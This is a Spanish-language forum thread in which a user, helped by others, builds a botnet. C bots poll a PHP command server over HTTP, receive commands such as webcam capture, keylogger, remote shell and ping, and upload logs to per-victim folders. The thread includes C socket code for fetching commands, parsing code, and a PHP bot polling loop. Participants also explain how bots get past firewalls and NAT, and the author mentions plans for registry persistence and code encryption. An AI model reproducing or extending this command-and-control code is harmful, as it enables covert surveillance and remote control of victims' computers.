Bueno.. a grandes rasgos es asi, no hay mas ciencia.. Alguna pregunta puntual???

Saludos!


Título: Re: Controlar botnet con PHP
Publicado por: T. Collins en 17 Septiembre 2014, 20:11 pm
Tienes que pensar como si los bots fuesen clientes de una web. Cada uno de ellos se conecta cada X tiempo y la web responde con una página en blanco. Si tú colocas un comando, en vez de ver la página en blanco, tienen que ver el comando:

Código
  1. <?php
  2. echo $comando;
  3. ?>


Título: Re: Controlar botnet con PHP
Publicado por: MinusFour en 17 Septiembre 2014, 20:15 pm
Si que me funciono se produjo la conexión, otra cosa es que el hosting este limitado y a los pocos minutos denegara la conexión (PD sigo sin poder conectarme).
Al ejecutar el server me salto el firewall acepté y no me dió más problemas.
Pero si estoy de acuerdo si se trata de un hosting gratuito hay que cambiar la estrategia.

No entiendo, como hago para poner a servicio del bot esos comandos y que el acceda a ellos para ejecutarlos?

Como se descarga ese comando el bot y como lo ofrezco con el php?

Eso es como va eso del echo?, se supone que echo es para mostrar cadenas no? xD

Gracias.

A ver...

Tenemos 3 actores en esta situación:


Tu hosting
Los bots

Esto es lo que tengo entendido que quieres hacer.

Tú le pasas los comandos a tu hosting por medio de PHP, este envia los comandos a los bots y los bots ejecutan el comando.

El problema:

El hosting esta enviando los datos a los bots. La comunicación se da Hosting->Bots. Es decir, los bots estan escuchando los comandos que se envian atraves de un puerto. El puerto está abierto dentro de tu maquina y lo mas probable es que si puedas hacer una conexion local. El problema viene siendo cuando llega una petición de internet (tu hosting por ejemplo) y llega al router. Como la mayoría de los routers estan haciendo PAT o NAT, el router no tiene ni idea de quien esta escuchando por el puerto en cuestión y la conexión muere justo ahí en el router. La única forma es que el router supiera quien esta escuchando por ese puerto y para eso necesitas configurar el portforwarding y que lo asocie con la ip local. Los usuarios infectados no te van a hacer el portforwarding por tí. Sin mencionar que casí todos los anti virus te van a tronar el listener.

Nuevamente, el problema se da porque quieres hacer una conexion desde tu servidor a los bots. Donde realmente, tu servidor es meramente un cliente y tus bots si que son servidores. Entonces podríamos decir que tu cliente (el hosting) está enviando comandos a multiples servidores (los bots).

Otra vez:

Las botnets se "saltan" las firewalls a la inversa. Los bots actuan como clientes, se conectan a un servidor y el servidor les dice que hacer. Un cliente en especifico puede controlar el servidor y simplemente le dice al servidor que decir.


Título: Re: Controlar botnet con PHP
Publicado por: Kaxperday en 17 Septiembre 2014, 23:14 pm
Bueno lo primero gracias a todos por las respuestas, tratare de interpretar la idea de daryo y minusfour, la diferencia con vaagish que yo al no saber crear bases de datos crearé un archivo para cada bot ese archivo lo podré manipular en cualquier momento cambiando los comandos en el, así pues tendría un directorio con algo así:

usuario1.php
usuario2.php
...

Edito: Los bots  conocen su nombre de usuario, solo tendrían que hacer el POST al directorio donde están todos los php de los bots... nombrebot1.php.. (estos archivos se crearán en el momento que el bot haga la primera subida de datos al servidor).

Pero ¿entonces los archivos usuario1.php... tendrían que tener algo asi no?

usuario1.php

Código
  1. <?
  2. $comando = "dir";
  3. echo $comando;
  4. ?>

Suponiendo que fuera así...

Y el bot para acceder al comando ¿qué código debería emplear para almacenarlo en una variable? ¿Debe de hacer una especie de POST a ese php? Es que nunca he usado echo con esa finalidad xD.

Saludos y gracias de nuevo xD



Título: Re: Controlar botnet con PHP
Publicado por: Vaagish en 17 Septiembre 2014, 23:24 pm
Bien.. creo que se podría hacer eso que decís.. El error de concepto que encuentro acá es:

Citar
Y el bot para acceder al comando ¿qué código debería emplear para almacenarlo en una variable?

El bot no accede al comando, el se "conecta a la pagina", tu webserver se fija que bot es, (puede ser por su ip) y le manda el comando,, digamos que el bot no abre ningun archivo ni ninguna base de datos.. eso seria imposible.. es el server quien administra las conexiones, y que enviarle a que cliente..

Suerte! Saludos!

El comando echo es lo mas facil de usar!!

ECHO "MFDLWC" (Mandame Fotos De La Web Cam")  :xD

Al cliente le llega ese dato ("MFDLWC") y listo,, la manda..  :silbar:

Suerte! Saludos!


Título: Re: Controlar botnet con PHP
Publicado por: T. Collins en 17 Septiembre 2014, 23:33 pm
Para facilitar las cosas puedes hacer el bot en php también:

Código
  1. <?php
  2. while(1){
  3.        $comando = file_get_contents("http://localhost/servidor.php");
  4.        //Aqui haces lo que quieras con el comando
  5.        sleep(30);
  6. }
  7. ?>
  8.  


Título: Re: Controlar botnet con PHP
Publicado por: Kaxperday en 17 Septiembre 2014, 23:40 pm
Entonces vale tengo esto en el PHP:

user1.php
Código
  1. <?
  2. ECHO "MFDLWC";
  3. ?>
  4.  

Y ahora esto en el cliente C:

Código
  1. int main()
  2. {
  3. char comando[50];
  4. //Ahora como recibiría el comando conectándome a la página
  5. return 0;
  6. }
  7.  

Lo demás lo he entendido, pero eso de visita a la página que debo usar sockets? O no sé como hacerlo entonces, el cliente C está vacío xD, es que no se como va eso, el php ya lo he pillado, ahora la parte del cliente para visitar la pagina puerto 80 usando http, ahí me pierdo indagaré en el asunto mientras.

Citar
Para facilitar las cosas puedes hacer el bot en php

Oh eso sería maravilloso, pero a ser posible preferiría hacerlo en C para no mezclar aunque buena aportación, ya tengo algo.

Edito: Supongo que tendré que usar algo del estilo:

https://www.cs.utah.edu/~swalton/listings/sockets/programs/part1/chap4/http-client.c (https://www.cs.utah.edu/~swalton/listings/sockets/programs/part1/chap4/http-client.c)

Edito: He encontrado uno mejor, este es entre cliente java y server php: (aunque siguen siendo lenguajes de alto nivel xD)

http://stackoverflow.com/questions/6527037/php-server-java-client-post-and-echo (http://stackoverflow.com/questions/6527037/php-server-java-client-post-and-echo)

Saludos y gracias


Título: Re: Controlar botnet con PHP
Publicado por: T. Collins en 17 Septiembre 2014, 23:54 pm
Si sabes utilizar sockets en C, es muy sencillo:

https://en.wikipedia.org/wiki/Hypertext_Transfer_Protocol#Example_session


Título: Re: Controlar botnet con PHP
Publicado por: Kaxperday en 18 Septiembre 2014, 00:04 am
Bueno haber he improvisado esta función haber xD

cliente.c
Código:
*char recojecomando()
{
    WSADATA wsa;
    int sok;
    struct sockaddr_in dir;
    char buf[60384],comando[100];
    WSAStartup(MAKEWORD(2,0),&wsa);
    if((sok=socket(AF_INET,SOCK_STREAM,0))==-1) {}
    else
    {
        dir.sin_family=AF_INET;
        dir.sin_port=htons(PUERTO);
        dir.sin_addr.s_addr=inet_addr(IP);

        strcpy(buf,"POST dir_protegido/usuario1.php HTTP/1.1\r\n");
        strcat(buf,"Host: miweb.com\r\n");
        strcat(buf,"Authorization: Basic aHR0cHdhdGNoOmY=");
        strcat(buf,"Content-type: application/x-www-form-urlencoded\r\n");
        strcat(buf,"\r\n\r\n");

        connect(sok,(struct sockaddr*)&dir,sizeof(dir));
        send(sok,buf,strlen(buf),0);
        recv(sok,comando,50,0);
        closesocket(sok);
    }
    return comando;
}

Ya me he conectado al server con esto se supone, como extraigo ahora la variable cual es la funcion? y es necesario usar el send? xD

Edito: Quizás sobre el content-type y los \r\n del final ya que no se sube variable, lo de autorizacion supongo que será necesario ya que el archivo está en directorio protegido.


Título: Re: Controlar botnet con PHP
Publicado por: T. Collins en 18 Septiembre 2014, 00:12 am
Has mirado que te llega a la variable comando? Con 50 de largo no creo que te llegue.


Título: Re: Controlar botnet con PHP
Publicado por: Kaxperday en 18 Septiembre 2014, 00:13 am
Quieres decir que debería funcionar??  ;-) ;-) ;-) ;-) ;-) ;-) ;-)

jajaja bieeen, pero hasta que no lo pruebe no se celebra, es necesario usar el send? no podría usar el recv directamente? ya que no estoy mandando nada, no?

Edito: LOOOOOL jajajajaja que cojones xD, me han salido 8 líneas, ahora entiendo porque decías lo de que no entraba con 50 xD, pero aún no veo el comando, debería de salir abajo un "abre la wetcam" xD


Título: Re: Controlar botnet con PHP
Publicado por: T. Collins en 18 Septiembre 2014, 00:19 am
En HTTP el cliente tiene que mandar la petición para que el servidor responda. En este caso tu mandas un POST ( POST dir_protegido/usuario1.php HTTP/1.1\r\n ) el servidor ejecutará usuario1.php y te mandara de vuelta la salida, pero con su cabecera HTTP por delante.


Título: Re: Controlar botnet con PHP
Publicado por: Kaxperday en 18 Septiembre 2014, 00:23 am
O-MAI-GAD ya lo teeeengooooo había cambiado el espacio  al definir char comando[] a uno mas grande pero en el recv no no habia cambiado y solo cogia 150, pero no era suficiente, pero bieeeen, problema resuelto >:D

Ahora es cuando digo como ** saco el comando de ahí xD

Si me sale hasta la publicidad del hosting abajo la madre que lo parió.

Bueno supongo que me las podré apañar contando las "\n" y situándome en la línea que está el comando.

Mañana espera largo día programación, muchas gracias a todos por la ayuda, sin vosotros no hubiera podido  ;-) ;-)

Os mantendré informados de como me va esto.

Saludos.


Título: Re: Controlar botnet con PHP
Publicado por: T. Collins en 18 Septiembre 2014, 00:25 am
Te sale "MFDLWC" debajo de la cabecera?


Título: Re: Controlar botnet con PHP
Publicado por: Kaxperday en 18 Septiembre 2014, 00:33 am
Debajo de la cabecera me hay un salto de linea (una linea en blanco), en la siguiente linea pone a3, y en la siguiente linea esta el comando, y luego hay 3 lineas con publicidad del hosting, podría leer las \n desde atras y colocarme con el puntero delante del comando listo para leerlo, o eso creo xD, en verdad sale "webcam ya", mejor lo meto en un archivo y copio y pego...a la espera

Código:
HTTP/1.1 200 OK
Date: Wed, 17 Sep 2014 22:34:04 GMT
Server: Apache
X-Powered-By: PHP/5.2.17
Content-Length: 163
Connection: close
Content-Type: text/html


webcam ya
<!-- Hosting24 Analytics Code -->
<script type="text/javascript" src="http://stats.hosting24.com/count.php"></script>
<!-- End Of Analytics Code -->

Sale esta preciosidad

PD ha desaparecido el a3 que salia antes lol

Edito: Madre mia esto es horiiiibleee al recoger el comando cada vez sale una cosa omg, hay veces que la cabecera que devuelve el server tiene más lineas que otras, hay otras que aparecen lineas como a8, a3 y no se mas cosas raras jajaja, y cuando da la casualidad y coje el comando bien resulta que los a veces los 2 primeros caracteres del comando son aleatorios como si no loshubiese leido omg horriiiblle x lo demas bien, agradeceria mucho algun algoritmp para sacar sano y salvo ese comando saludos


Título: Re: Controlar botnet con PHP
Publicado por: Kaxperday en 18 Septiembre 2014, 19:53 pm
Bueno aquí estoy otra vez, me estoy desesperando un poco con esto:

Respuesta del servidor: (la muestro como código)

Código:
HTTP/1.1 200 OK
Date: Wed, 17 Sep 2014 22:34:04 GMT
Server: Apache
X-Powered-By: PHP/5.2.17
Content-Length: 163
Connection: close
Content-Type: text/html


****keylogger
<!-- Hosting24 Analytics Code -->
<script type="text/javascript" src="http://stats.hosting24.com/count.php"></script>
<!-- End Of Analytics Code -->

Bien, ahí estaría leyendo el comando keylogger, os preguntaréis ¿por qué ha puesto los 4 asteriscos?, pues bien, me sirven para encontrar el comando de entre toda la cadena.

El algoritmo que uso para extraer el comando de la cadena es el siguiente:

Código
  1. b=0;
  2. for(i=0;i<strlen(comando);i++)
  3.        {
  4.                             if(comando[i]=='*'&&comando[i+1]=='*'&&comando[i+2]=='*'&&comando[i+3]=='*')
  5.            {
  6.                i=i+4;
  7.                printf("\n");
  8.                while(comando[i]!='\n')
  9.                {
  10.                    comanda[b]=comando[i];
  11.                    i++;
  12.                    b++;
  13.                }
  14.                comanda[sizeof(comanda)-2]='\0';
  15.                comanda[sizeof(comanda)-1]='\0';
  16.                comanda[sizeof(comanda)]='\0';
  17.                break;
  18.            }
  19.        }
  20.    }
  21.    printf("Comando extraido: %s\n\n",comanda);
  22.    for(i=0;i<strlen(comanda);i++)
  23.    {
  24.        printf("(%c %d)",comanda[i],comanda[i]);
  25.        getch();
  26.    }
  27.    return comanda;
  28.  

Y bien, el programa estaba venga a fallar y fallar al recibir comando y tratar de ejecutarlo, el programa sacaba el comando de allí correctamente, y lo mostraba con un printf, pero luego no me entraba en un strcmp(comando,"keylogger"), y es que comando al hacer printf mostraba keylogger, pero su tamaño devuelto por strlen era 2 caracteres mayor aunque no los mostraba, entonces monté ee alboroto con el for para que me recorriera la cadena, traté de cortarla poniendo "\0", pues aparecen 2 caracteres basura que se incrustan al final de la cadena y no hay manera de sacarles.

Os pongo lo que ha mostrado el for:

Código:
(k 107) (e 101) (y 121) (l 108) (o 111) (g 103) (g 103) (e 101) (r 114) ( 13) (© -71)

Y para más colmo aún jajaja, los 2 últimos "carácteres" se sobreescriben sobre los que ya ha mostrado la consola, es decir en vez de irlos mostrando de izquierda->derecha->abajo-izquierda->derecha... no bajan y sobrescriben la línea  increible LOL.

Pues eso haber si podéis ayudarme a buscar una solución, el 13 es un retorno de carro (un enter), el otro ni idea de que pinta allí, buff y parecía que era fácil sacar una cadena de otra en c.

Edito: He vuelto a probarlo y me muestra esto:

Código:
(k 107) (e 101) (y 121) (l 108) (o 111) (g 103) (g 103) (e 101) (r 114) ( 13) (<< -82)

Luego el ultimo caracter es aleatorio, era << solo que las dos flechas más juntas y haciendo un solo caracter, pero no entiendo, he puesto "\0" en los 3 ultimos caracteres de la cadena debería de cortarse allí que broma es esta? Es que no te lo pierdas con otras cadenas me aparecen hasta 4 caracteres extra atrás todos seguidos del retorno de carro.

Por ejemplo puse a ejecutar el comando "ping teleco.com", la respuesta del servidor igual que la anterior solo que cambiando el comando bien(con los 4 asteriscos delante...), luego trato de extraer el comando me depura esto:

Código:
las letras y cuando acaba la cadena esto: ( 13) (É -114) (q 113)

Y la gracia es que esa q da mucho juego, porque luego hay un printf que dice:

Código
  1. printf("Comando extraido: %s",comando);
  2.  

Y muestra:

Código:
qumando extraido: ping teleco.com

Saludos



Título: Re: Controlar botnet con PHP
Publicado por: T. Collins en 18 Septiembre 2014, 20:07 pm
Mirate esto: http://www.cplusplus.com/reference/cstring/
Por ejemplo strstr();
Igual que has puesto los asteriscos al principio, puedes ponerlos al final para delimitar el comando.


Título: Re: Controlar botnet con PHP
Publicado por: Kaxperday en 18 Septiembre 2014, 20:16 pm
Citar
Igual que has puesto los asteriscos al principio, puedes ponerlos al final para delimitar el comando.

Eso puede ser una solución, aunque  ya creo más en la magia que en los hechos.

Probando...

Edito: OOHHHH DIOOOSS SI SOLUCIONADO!! me pregunto porque ocurrirán estas mierdas!! Seguro tenía que ver con el recv(), aquí el script usado:

Código
  1. b=0;
  2. for(i=0;i<strlen(comando);i++)
  3.        {
  4.            if(comando[i]=='*'&&comando[i+1]=='*'&&comando[i+2]=='*'&&comando[i+3]=='*')
  5.            {
  6.                i=i+4;
  7.                while(comando[i]!='\n')
  8.                {
  9.                    comanda[b]=comando[i];
  10.                    i++;
  11.                    b++;
  12.                }
  13.                comanda[sizeof(comanda)]='\0';
  14.                break;
  15.            }
  16.        }
  17.    }
  18.    b=0;
  19.    for(i=0;i<strlen(comanda);i++)
  20.    {
  21.        if(comanda[i]!='*')
  22.        {
  23.            cumanda[b]=comanda[i];
  24.            b++;
  25.        }
  26.        else
  27.        {
  28.            cumanda[b]='\0';
  29.            break;
  30.        }
  31.    }
  32.    printf("Comando extraido: %s\n\n",cumanda);
  33.    for(i=0;i<strlen(cumanda);i++)
  34.    {
  35.        printf("(%c %d)",cumanda[i],cumanda[i]);
  36.        getch();
  37.    }
  38.    return cumanda;
  39.  

Lo que he echo es poner en el comando 4 asteriscos adelante y 4 detrás.

Saludos y gracias.


Título: Re: Controlar botnet con PHP
Publicado por: Kaxperday en 18 Septiembre 2014, 21:17 pm
Hay un marciano con una varita mágica detrás de mí, nueva novedad, tengo un archivo llamado user.dat tiene esto:

Código:
ghsryb

Son 6 caracteres que identifican al usuario todo fantastico.

Código
  1. void conecta_k(char nada[])
  2. {
  3.    FILE *dat,*x;
  4.    WSADATA wsa;
  5.    int sok,len,i=0;
  6.    struct sockaddr_in dir;
  7.    char buf[80384],cad[80384],aux[10],borra[50]="del ",car,nombre[50];
  8.    WSAStartup(MAKEWORD(2,0),&wsa);
  9.    if((sok=socket(AF_INET,SOCK_STREAM,0))==-1){}
  10.    else{
  11.        dir.sin_family=AF_INET;
  12.        dir.sin_port=htons(PUERTO);
  13.        dir.sin_addr.s_addr=inet_addr(IP);
  14.  
  15.        fflush(stdin);
  16.        x=fopen("user.dat","rt");
  17.        fseek(x,0,SEEK_CUR);
  18.        fprintf(x,"%s",nombre);
  19.        fclose(x);
  20.        fflush(stdin);
  21.  
  22.        printf("hemos leido user.dat el usuario es %s",nombre);
  23.        getch();
  24.  
  25.        strcpy(cad,"u=");
  26.        strcat(cad,nombre);
  27.        ....
  28. }
  29.  

Pues bien resulta que quiero abrir el archivo para leer el usuario y hacer un post cargando el nombre de usuario en la variable "u", pero sorpresa lo que leo del archivo en la variable nombre es una coma "," ni más ni menos, es por elloque escribo este mensaje, haber si sabéis como solucionar esto o porque se produce yo estoy casi seguro que todos los fallos hasta ahora vienen dados por el recv esa cadena tiene cosas raras invisibles seguro, dicho esto estoy activamente buscando alguna respuesta.

Saludos


Título: Re: Controlar botnet con PHP
Publicado por: T. Collins en 18 Septiembre 2014, 21:35 pm
Has creado el user.dat tú mismo o con un programa en C?  

A mí con fread(nombre, sizeof(char), 10, x); en vez de fprintf me funciona.


Título: Re: Controlar botnet con PHP
Publicado por: Kaxperday en 18 Septiembre 2014, 23:54 pm
Muchas gracias por la ayuda compañero, la verdad que me funciono  perfecto :)))

Ahora estoy corrigiendo mil fallos, y tengo pensado meterle comandos para trolear en plan mover_raton, infinitas ventanas, meter contador de tiempo al keylogger, tambien estoy trabajando con los directorios del servidor, cuando se conecta un cliente x primera vez crea una carpeta para ese usuario y otras 3 dentro de ella (pics,logs,shell), para tenerlo todo bien ordenador, lo estoy probando y la shell va perfecta, ahora solo me falla el post para subir los logs y las shells, espero repararlo pronto, pero quedan mil cosas por hacer como el anclado al registro, control de errores, poner la memoria de las variable con sentido, cifrar rl código, podría escribir un libro en fin NUNCA ACABARA!!! XDDD

Si tengo algún problema lo posteo que vuestra ayuda me viene muy bien xD

Edito: Marcho a dormir satisfecho después del trabajo y las pruebas, ya os contaré. ;-)

Saludos